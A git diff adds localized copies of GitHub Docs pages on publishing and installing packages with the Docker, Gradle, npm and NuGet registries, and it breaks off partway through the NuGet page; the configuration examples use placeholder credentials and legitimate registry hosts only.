+  > REPOSITORY        TAG        IMAGE ID       CREATED      SIZE
+  > IMAGE_NAME        VERSION    IMAGE_ID       4 weeks ago  1.11MB
+  ```
+2. Using the Docker image ID, tag the docker image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.location.product_location %},{% endif %} and *VERSION* with package version at build time.
+  {% ifversion fpt or ghec %}
+  ```shell
+  $ docker tag IMAGE_ID docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION
+  ```
+  {% else %}
+  {% ifversion ghes %}
+  If your instance has subdomain isolation enabled:
+  {% endif %}
+  ```shell
+  $ docker tag IMAGE_ID docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION
+  ```
+  {% ifversion ghes %}
+  If your instance has subdomain isolation disabled:
+  ```shell
+  $ docker tag IMAGE_ID HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION
+  ```
+  {% endif %}
+  {% endif %}
+3. If you haven't already built a docker image for the package, build the image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image, *VERSION* with package version at build time,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.location.product_location %},{% endif %} and *PATH* to the image if it isn't in the current working directory.
+  {% ifversion fpt or ghec %}
+  ```shell
+  $ docker build -t docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH
+  ```
+  {% else %}
+  {% ifversion ghes %}
+  If your instance has subdomain isolation enabled:
+  {% endif %}
+  ```shell
+  $ docker build -t docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH
+  ```
+  {% ifversion ghes %}
+  If your instance has subdomain isolation disabled:
+  ```shell
+  $ docker build -t HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH
+  ```
+  {% endif %}
+  {% endif %}
+4. Publish the image to {% data variables.product.prodname_registry %}.
+  {% ifversion fpt or ghec %}
+  ```shell
+  $ docker push docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION
+  ```
+  {% else %}
+  {% ifversion ghes %}
+  If your instance has subdomain isolation enabled:
+  {% endif %}
+  ```shell
+  $ docker push docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION
+  ```
+  {% ifversion ghes %}
+  If your instance has subdomain isolation disabled:
+  ```shell
+  $ docker push HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION
+  ```
+  {% endif %}
+  {% endif %}
+  {% note %}
+
+  **Note:** You must push your image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`.
+
+  {% endnote %}
+
+### Example publishing a Docker image
+
+{% ifversion ghes %}
+These examples assume your instance has subdomain isolation enabled.
+{% endif %}
+
+You can publish version 1.0 of the `monalisa` image to the `octocat/octo-app` repository using an image ID.
+
+{% ifversion fpt or ghec %}
+```shell
+$ docker images
+
+> REPOSITORY           TAG      IMAGE ID      CREATED      SIZE
+> monalisa             1.0      c75bebcdd211  4 weeks ago  1.11MB
+
+# Tag the image with <em>OWNER/REPO/IMAGE_NAME</em>
+$ docker tag c75bebcdd211 docker.pkg.github.com/octocat/octo-app/monalisa:1.0
+
+# Push the image to {% data variables.product.prodname_registry %}
+$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0
+```
+
+{% else %}
+
+```shell
+$ docker images
+
+> REPOSITORY           TAG      IMAGE ID      CREATED      SIZE
+> monalisa             1.0      c75bebcdd211  4 weeks ago  1.11MB
+
+# Tag the image with <em>OWNER/REPO/IMAGE_NAME</em>
+$ docker tag c75bebcdd211 docker.HOSTNAME/octocat/octo-app/monalisa:1.0
+
+# Push the image to {% data variables.product.prodname_registry %}
+$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0
+```
+
+{% endif %}
+
+You can publish a new Docker image for the first time and name it `monalisa`.
+
+{% ifversion fpt or ghec %}
+```shell
+# Build the image with docker.pkg.github.com/<em>OWNER/REPOSITORY/IMAGE_NAME:VERSION</em>
+# Assumes Dockerfile resides in the current working directory (.)
+$ docker build -t docker.pkg.github.com/octocat/octo-app/monalisa:1.0 .
+
+# Push the image to {% data variables.product.prodname_registry %}
+$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0
+```
+
+{% else %}
+```shell
+# Build the image with docker.<em>HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION</em>
+# Assumes Dockerfile resides in the current working directory (.)
+$ docker build -t docker.HOSTNAME/octocat/octo-app/monalisa:1.0 .
+
+# Push the image to {% data variables.product.prodname_registry %}
+$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0
+```
+{% endif %}
+
+## Downloading an image
+
+{% data reusables.package_registry.docker_registry_deprecation_status %}
+
+You can use the `docker pull` command to install a docker image from {% data variables.product.prodname_registry %}, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the host name of {% data variables.location.product_location %}, {% endif %} and *TAG_NAME* with tag for the image you want to install.
+
+{% ifversion fpt or ghec %}
+```shell
+$ docker pull docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME
+```
+{% else %}
+<!--Versioning out this "subdomain isolation enabled" line because it's the only option for GHES 2.22 so it can be misleading.-->
+{% ifversion ghes %}
+If your instance has subdomain isolation enabled:
+{% endif %}
+```shell
+$ docker pull docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME
+```
+{% ifversion ghes %}
+If your instance has subdomain isolation disabled:
+```shell
+$ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME
+```
+{% endif %}
+{% endif %}
+
+{% note %}
+
+**Note:** You must pull the image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`.
+
+{% endnote %}
+
+## Further reading
+
+- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)"
+
+{% endif %}  <!-- End of main versioning block -->
diff --git a/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md
new file mode 100644
index 0000000000..e903fc567f
--- /dev/null
+++ b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md
@@ -0,0 +1,219 @@
+---
+title: Working with the Gradle registry
+intro: 'You can configure Gradle to publish packages to the {% data variables.product.prodname_registry %} Gradle registry and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /articles/configuring-gradle-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-package-registry/configuring-gradle-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-packages/configuring-gradle-for-use-with-github-packages
+  - /packages/using-github-packages-with-your-projects-ecosystem/configuring-gradle-for-use-with-github-packages
+  - /packages/guides/configuring-gradle-for-use-with-github-packages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Gradle registry
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+{% data reusables.package_registry.admins-can-configure-package-types %}
+
+## Authenticating to {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.authenticate-packages %}
+
+{% data reusables.package_registry.authenticate-packages-github-token %} For more information about using `GITHUB_TOKEN` with Gradle, see "[Publishing Java packages with Gradle](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)."
+
+### Authenticating with a {% data variables.product.pat_generic %}
+
+{% data reusables.package_registry.required-scopes %}
+
+You can authenticate to {% data variables.product.prodname_registry %} with Gradle using either Gradle Groovy or Kotlin DSL by editing your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file to include your {% data variables.product.pat_v1 %}. You can also configure Gradle Groovy and Kotlin DSL to recognize a single package or multiple packages in a repository.
+
+{% ifversion ghes %}
+Replace *REGISTRY-URL* with the URL for your instance's Maven registry. If your instance has subdomain isolation enabled, use `maven.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/maven`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.
+{% elsif ghae %}
+Replace *REGISTRY-URL* with the URL for your enterprise's Maven registry, `maven.HOSTNAME`. Replace *HOSTNAME* with the host name of {% data variables.location.product_location %}.
+{% endif %}
+
+Replace *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your {% data variables.product.pat_v1 %}, *REPOSITORY* with the name of the repository containing the package you want to publish, and *OWNER* with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters.
+
+{% note %}
+
+**Note:** {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} For an example, see "[Configuring Apache Maven for use with {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)."
+
+{% endnote %}
+
+#### Example using Gradle Groovy for a single package in a repository
+
+```shell
+plugins {
+    id("maven-publish")
+}
+publishing {
+    repositories {
+        maven {
+            name = "GitHubPackages"
+            url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY")
+            credentials {
+                username = project.findProperty("gpr.user") ?: System.getenv("USERNAME")
+                password = project.findProperty("gpr.key") ?: System.getenv("TOKEN")
+            }
+        }
+    }
+    publications {
+        gpr(MavenPublication) {
+            from(components.java)
+        }
+    }
+}
+```
+
+#### Example using Gradle Groovy for multiple packages in the same repository
+
+```shell
+plugins {
+    id("maven-publish") apply false
+}
+subprojects {
+    apply plugin: "maven-publish"
+    publishing {
+        repositories {
+            maven {
+                name = "GitHubPackages"
+                url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY")
+                credentials {
+                    username = project.findProperty("gpr.user") ?: System.getenv("USERNAME")
+                    password = project.findProperty("gpr.key") ?: System.getenv("TOKEN")
+                }
+            }
+        }
+        publications {
+            gpr(MavenPublication) {
+                from(components.java)
+            }
+        }
+    }
+}
+```
+
+#### Example using Kotlin DSL for a single package in the same repository
+
+```shell
+plugins {
+    `maven-publish`
+}
+publishing {
+    repositories {
+        maven {
+            name = "GitHubPackages"
+            url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY")
+            credentials {
+                username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME")
+                password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN")
+            }
+        }
+    }
+    publications {
+        register&lt;MavenPublication>("gpr") {
+            from(components["java"])
+        }
+    }
+}
+```
+
+#### Example using Kotlin DSL for multiple packages in the same repository
+
+```shell
+plugins {
+    `maven-publish` apply false
+}
+subprojects {
+    apply(plugin = "maven-publish")
+    configure&lt;PublishingExtension> {
+        repositories {
+            maven {
+                name = "GitHubPackages"
+                url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY")
+                credentials {
+                    username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME")
+                    password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN")
+                }
+            }
+        }
+        publications {
+            register&lt;MavenPublication>("gpr") {
+                from(components["java"])
+            }
+        }
+    }
+}
+```
+
+## Publishing a package
+
+{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example.test` in the `OWNER/test` {% data variables.product.prodname_registry %} repository.
+
+{% data reusables.package_registry.viewing-packages %}
+
+{% data reusables.package_registry.authenticate-step %}
+2. After creating your package, you can publish the package.
+
+  ```shell
+   $ gradle publish
+  ```
+
+## Using a published package
+
+To use a published package from {% data variables.product.prodname_registry %}, add the package as a dependency and add the repository to your project. For more information, see "[Declaring dependencies](https://docs.gradle.org/current/userguide/declaring_dependencies.html)" in the Gradle documentation.
+
+{% data reusables.package_registry.authenticate-step %}
+2. Add the package dependencies to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file.
+
+  Example using Gradle Groovy:
+  ```shell
+  dependencies {
+      implementation 'com.example:package'
+  }
+  ```
+  Example using Kotlin DSL:
+  ```shell
+  dependencies {
+      implementation("com.example:package")
+  }
+  ```
+
+3. Add the repository to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file.
+
+  Example using Gradle Groovy:
+  ```shell
+  repositories {
+      maven {
+          url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY")
+          credentials {
+              username = project.findProperty("gpr.user") ?: System.getenv("USERNAME")
+              password = project.findProperty("gpr.key") ?: System.getenv("TOKEN")
+          }
+      }
+  }
+  ```
+  Example using Kotlin DSL:
+  ```shell
+  repositories {
+      maven {
+          url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY")
+          credentials {
+              username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME")
+              password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN")
+          }
+      }
+  }
+  ```
+
+## Further reading
+
+- "[Working with the Apache Maven registry](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)"
+- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)"
diff --git a/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md
new file mode 100644
index 0000000000..b90b8ff549
--- /dev/null
+++ b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md
@@ -0,0 +1,233 @@
+---
+title: Working with the npm registry
+intro: 'You can configure npm to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in an npm project.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /articles/configuring-npm-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-package-registry/configuring-npm-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-packages/configuring-npm-for-use-with-github-packages
+  - /packages/using-github-packages-with-your-projects-ecosystem/configuring-npm-for-use-with-github-packages
+  - /packages/guides/configuring-npm-for-use-with-github-packages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: npm registry
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+{% data reusables.package_registry.admins-can-configure-package-types %}
+
+{% ifversion packages-npm-v2 %}
+{% else %}
+## Limits for published npm versions
+
+If you publish over 1,000 npm package versions to {% data variables.product.prodname_registry %}, you may see performance issues and timeouts occur during usage.
+
+In the future, to improve performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable.
+
+If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)."
+{% endif %}
+
+## Authenticating to {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.authenticate-packages %}
+
+{% ifversion packages-npm-v2 %}
+{% data reusables.package_registry.authenticate_with_pat_for_v2_registry %}
+
+You can also choose to give access permissions to packages independently for {% data variables.product.prodname_codespaces %} and {% data variables.product.prodname_actions %}. For more information, see "[Ensuring Codespaces access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package) and [Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)."
+{% endif %}
+
+### Authenticating with a {% data variables.product.pat_generic %}
+
+{% data reusables.package_registry.required-scopes %}
+
+You can authenticate to {% data variables.product.prodname_registry %} with npm by either editing your per-user *~/.npmrc* file to include your {% data variables.product.pat_v1 %} or by logging in to npm on the command line using your username and {% data variables.product.pat_generic %}.
+
+To authenticate by adding your {% data variables.product.pat_v1 %} to your *~/.npmrc* file, edit the *~/.npmrc* file for your project to include the following line, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %} and {% endif %}*TOKEN* with your {% data variables.product.pat_generic %}. Create a new *~/.npmrc* file if one doesn't exist.
+
+{% ifversion ghes %}
+If your instance has subdomain isolation enabled:
+{% endif %}
+
+```shell
+//{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}/:_authToken=TOKEN
+```
+
+{% ifversion ghes %}
+If your instance has subdomain isolation disabled:
+
+```shell
+//HOSTNAME/_registry/npm/:_authToken=TOKEN
+```
+{% endif %}
+
+To authenticate by logging in to npm, use the `npm login` command, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your {% data variables.product.pat_v1 %}, and *PUBLIC-EMAIL-ADDRESS* with your email address.
+
+If {% data variables.product.prodname_registry %} is not your default package registry for using npm and you want to use the `npm audit` command, we recommend you use the `--scope` flag with the owner of the package when you authenticate to {% data variables.product.prodname_registry %}.
+
+{% ifversion ghes %}
+If your instance has subdomain isolation enabled:
+{% endif %}
+
+```shell
+$ npm login --scope=@OWNER --registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}
+
+> Username: USERNAME
+> Password: TOKEN
+> Email: PUBLIC-EMAIL-ADDRESS
+```
+
+{% ifversion ghes %}
+If your instance has subdomain isolation disabled:
+
+```shell
+$ npm login --scope=@OWNER --registry=https://HOSTNAME/_registry/npm/
+> Username: USERNAME
+> Password: TOKEN
+> Email: PUBLIC-EMAIL-ADDRESS
+```
+{% endif %}
+
+## Publishing a package
+
+{% note %}
+
+**Note:** Package names and scopes must only use lowercase letters.
+
+{% endnote %}
+
+{% ifversion packages-npm-v2 %}
+The {% data variables.product.prodname_registry %} registry stores npm packages within your organization or personal account, and allows you to associate a package with a repository. You can choose whether to inherit permissions from a repository, or set granular permissions independently of a repository.
+{% endif %}
+
+By default, {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the name field of the *package.json* file. For example, you would publish a package named `@my-org/test` to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. If you're running [npm v8.5.3](https://github.com/npm/cli/releases/tag/v8.5.3) or later, you can add a summary for the package listing page by including a *README.md* file in your package directory. For more information, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" and "[How to create Node.js Modules](https://docs.npmjs.com/getting-started/creating-node-modules)" in the npm documentation.
+
+You can publish multiple packages to the same {% data variables.product.prodname_dotcom %} repository by including a `URL` field in the *package.json* file. For more information, see "[Publishing multiple packages to the same repository](#publishing-multiple-packages-to-the-same-repository)."
+
+{% ifversion fpt or ghec %}
+When a package is published, it isn't automatically linked to a repository. You can however choose to link your published package to a repository using the user interface or command line. For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+{% endif %}
+
+You can set up the scope mapping for your project using either a local *.npmrc* file in the project or using the `publishConfig` option in the *package.json*. {% data variables.product.prodname_registry %} only supports scoped npm packages. Scoped packages have names with the format of `@owner/name`. Scoped packages always begin with an `@` symbol. You may need to update the name in your *package.json* to use the scoped name. For example, `"name": "@codertocat/hello-world-npm"`.
+
+{% ifversion packages-npm-v2 %}
+When you first publish a package, the default visibility is private. When a package is linked to repository, the package visibility is dependent on the repository's visibility. To change the visibility or set access permissions, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."
+{% endif %}
+
+{% data reusables.package_registry.viewing-packages %}
+
+### Publishing a package using a local *.npmrc* file
+
+You can use an *.npmrc* file to configure the scope mapping for your project. In the *.npmrc* file, use the {% data variables.product.prodname_registry %} URL and account owner so {% data variables.product.prodname_registry %} knows where to route package requests. Using an *.npmrc* file prevents other developers from accidentally publishing the package to npmjs.org instead of {% data variables.product.prodname_registry %}.
+
+{% data reusables.package_registry.authenticate-step %}
+{% data reusables.package_registry.create-npmrc-owner-step %}
+{% data reusables.package_registry.add-npmrc-to-repo-step %}
+1. Verify the name of your package in your project's *package.json*. The `name` field must contain the scope and the name of the package. For example, if your package is called "test", and you are publishing to the "My-org" {% data variables.product.prodname_dotcom %} organization, the `name` field in your *package.json* should be `@my-org/test`.
+{% data reusables.package_registry.verify_repository_field %}
+{% data reusables.package_registry.publish_package %}
+
+### Publishing a package using `publishConfig` in the *package.json* file
+
+You can use `publishConfig` element in the *package.json* file to specify the registry where you want the package published. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation.
+
+1. Edit the *package.json* file for your package and include a `publishConfig` entry.
+  {% ifversion ghes %}
+  If your instance has subdomain isolation enabled:
+  {% endif %}
+  ```shell
+  "publishConfig": {
+    "registry": "https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}"
+  },
+  ```
+  {% ifversion ghes %}
+  If your instance has subdomain isolation disabled:
+   ```shell
+   "publishConfig": {
+     "registry": "https://HOSTNAME/_registry/npm/"
+   },
+  ```
+  {% endif %}
+{% data reusables.package_registry.verify_repository_field %}
+{% data reusables.package_registry.publish_package %}
+
+## Publishing multiple packages to the same repository
+
+To publish multiple packages to the same repository, you can include the URL of the {% data variables.product.prodname_dotcom %} repository in the `repository` field of the *package.json* file for each package.
+
+To ensure the repository's URL is correct, replace REPOSITORY with the name of the repository containing the package you want to publish, and OWNER with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository.
+
+{% data variables.product.prodname_registry %} will match the repository based on the URL, instead of based on the package name.
+
+```shell
+"repository":"https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY",
+```
+
+## Installing a package
+
+You can install packages from {% data variables.product.prodname_registry %} by adding the packages as dependencies in the *package.json* file for your project. For more information on using a *package.json* in your project, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" in the npm documentation.
+
+By default, you can add packages from one organization. For more information, see "[Installing packages from other organizations](#installing-packages-from-other-organizations)."
+
+You also need to add the *.npmrc* file to your project so that all requests to install packages will {% ifversion ghae %}be routed to{% else %}go through{% endif %} {% data variables.product.prodname_registry %}. {% ifversion fpt or ghes or ghec %}When you route all package requests through {% data variables.product.prodname_registry %}, you can use both scoped and unscoped packages from *npmjs.org*. For more information, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation.{% endif %}
+
+{% ifversion ghae %}
+By default, you can only use npm packages hosted on your enterprise, and you will not be able to use unscoped packages. For more information on package scoping, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation. If required, {% data variables.product.prodname_dotcom %} support can enable an upstream proxy to npmjs.org. Once an upstream proxy is enabled, if a requested package isn't found on your enterprise, {% data variables.product.prodname_registry %} makes a proxy request to npmjs.org.  
+{% endif %}
+
+{% data reusables.package_registry.authenticate-step %}
+{% data reusables.package_registry.create-npmrc-owner-step %}
+{% data reusables.package_registry.add-npmrc-to-repo-step %}
+1. Configure *package.json* in your project to use the package you are installing. To add your package dependencies to the *package.json* file for {% data variables.product.prodname_registry %}, specify the full-scoped package name, such as `@my-org/server`. For packages from *npmjs.com*, specify the full name, such as `@babel/core` or `@lodash`. Replace `<organization_name>/<package_name>` with your package dependency.
+
+  ```json
+  {
+    "name": "@my-org/server",
+    "version": "1.0.0",
+    "description": "Server app that uses the <organization_name>/<package_name> package",
+    "main": "index.js",
+    "author": "",
+    "license": "MIT",
+    "dependencies": {
+      "<organization_name>/<package_name>": "1.0.0"
+    }
+  }
+  ```
+5. Install the package.
+
+  ```shell
+  $ npm install
+  ```
+
+### Installing packages from other organizations
+
+By default, you can only use {% data variables.product.prodname_registry %} packages from one organization. If you'd like to route package requests to multiple organizations and users, you can add additional lines to your *.npmrc* file, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %} and {% endif %}*OWNER* with the name of the user or organization account that owns the repository containing your project.
+
+{% ifversion ghes %}
+If your instance has subdomain isolation enabled:
+{% endif %}
+
+```shell
+@OWNER:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %}
+@OWNER:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %}
+```
+
+{% ifversion ghes %}
+If your instance has subdomain isolation disabled:
+
+```shell
+@OWNER:registry=https://HOSTNAME/_registry/npm
+@OWNER:registry=https://HOSTNAME/_registry/npm
+```
+{% endif %}
+
+{% ifversion ghes %}
+## Using the official NPM registry
+
+{% data variables.product.prodname_registry %} allows you to access the official NPM registry at `registry.npmjs.com`, if your {% data variables.product.prodname_ghe_server %} administrator has enabled this feature. For more information, see [Connecting to the official NPM registry](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry).
+{% endif %}
diff --git a/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
new file mode 100644
index 0000000000..9e13e1e527
--- /dev/null
+++ b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
@@ -0,0 +1,239 @@
+---
+title: Working with the NuGet registry
+intro: 'You can configure the `dotnet` command-line interface (CLI) to publish NuGet packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a .NET project.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /articles/configuring-nuget-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-package-registry/configuring-nuget-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-packages/configuring-nuget-for-use-with-github-packages
+  - /github/managing-packages-with-github-packages/configuring-dotnet-cli-for-use-with-github-packages
+  - /packages/using-github-packages-with-your-projects-ecosystem/configuring-dotnet-cli-for-use-with-github-packages
+  - /packages/guides/configuring-dotnet-cli-for-use-with-github-packages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: NuGet registry
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+{% data reusables.package_registry.admins-can-configure-package-types %}
+
+## Authenticating to {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.authenticate-packages %}
+
+### Authenticating with `GITHUB_TOKEN` in {% data variables.product.prodname_actions %}
+
+Use the following command to authenticate to {% data variables.product.prodname_registry %} in a {% data variables.product.prodname_actions %} workflow using the `GITHUB_TOKEN` instead of hardcoding a {% data variables.product.pat_generic %} in a nuget.config file in the repository:
+
+```shell
+dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB_TOKEN }}{% endraw %} --store-password-in-clear-text --name github "https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json"
+```
+
+{% data reusables.package_registry.authenticate-packages-github-token %}
+
+### Authenticating with a {% data variables.product.pat_generic %}
+
+{% data reusables.package_registry.required-scopes %}
+
+To authenticate to {% data variables.product.prodname_registry %} with the `dotnet` command-line interface (CLI), create a *nuget.config* file in your project directory specifying {% data variables.product.prodname_registry %} as a source under `packageSources` for the `dotnet` CLI client.
+
+You must replace:
+- `USERNAME` with the name of your personal account on {% data variables.product.prodname_dotcom %}.
+- `TOKEN` with your {% data variables.product.pat_v1 %}.
+- `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes or ghae %}
+- `HOSTNAME` with the host name for {% data variables.location.product_location %}.{% endif %}
+
+{% ifversion ghes %}If your instance has subdomain isolation enabled:
+{% endif %}
+
+```xml
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+    <packageSources>
+        <clear />
+        <add key="github" value="https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json" />
+    </packageSources>
+    <packageSourceCredentials>
+        <github>
+            <add key="Username" value="USERNAME" />
+            <add key="ClearTextPassword" value="TOKEN" />
+        </github>
+    </packageSourceCredentials>
+</configuration>
+```
+
+{% ifversion ghes %}
+If your instance has subdomain isolation disabled:
+
+```xml
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+    <packageSources>
+        <clear />
+        <add key="github" value="https://HOSTNAME/_registry/nuget/OWNER/index.json" />
+    </packageSources>
+    <packageSourceCredentials>
+        <github>
+            <add key="Username" value="USERNAME" />
+            <add key="ClearTextPassword" value="TOKEN" />
+        </github>
+    </packageSourceCredentials>
+</configuration>
+```
+{% endif %}
+
+## Publishing a package
+
+You can publish a package to {% data variables.product.prodname_registry %} by authenticating with a *nuget.config* file, or by using the `--api-key` command line option with your {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}.
+
+### Publishing a package using a GitHub {% data variables.product.pat_generic %} as your API key
+
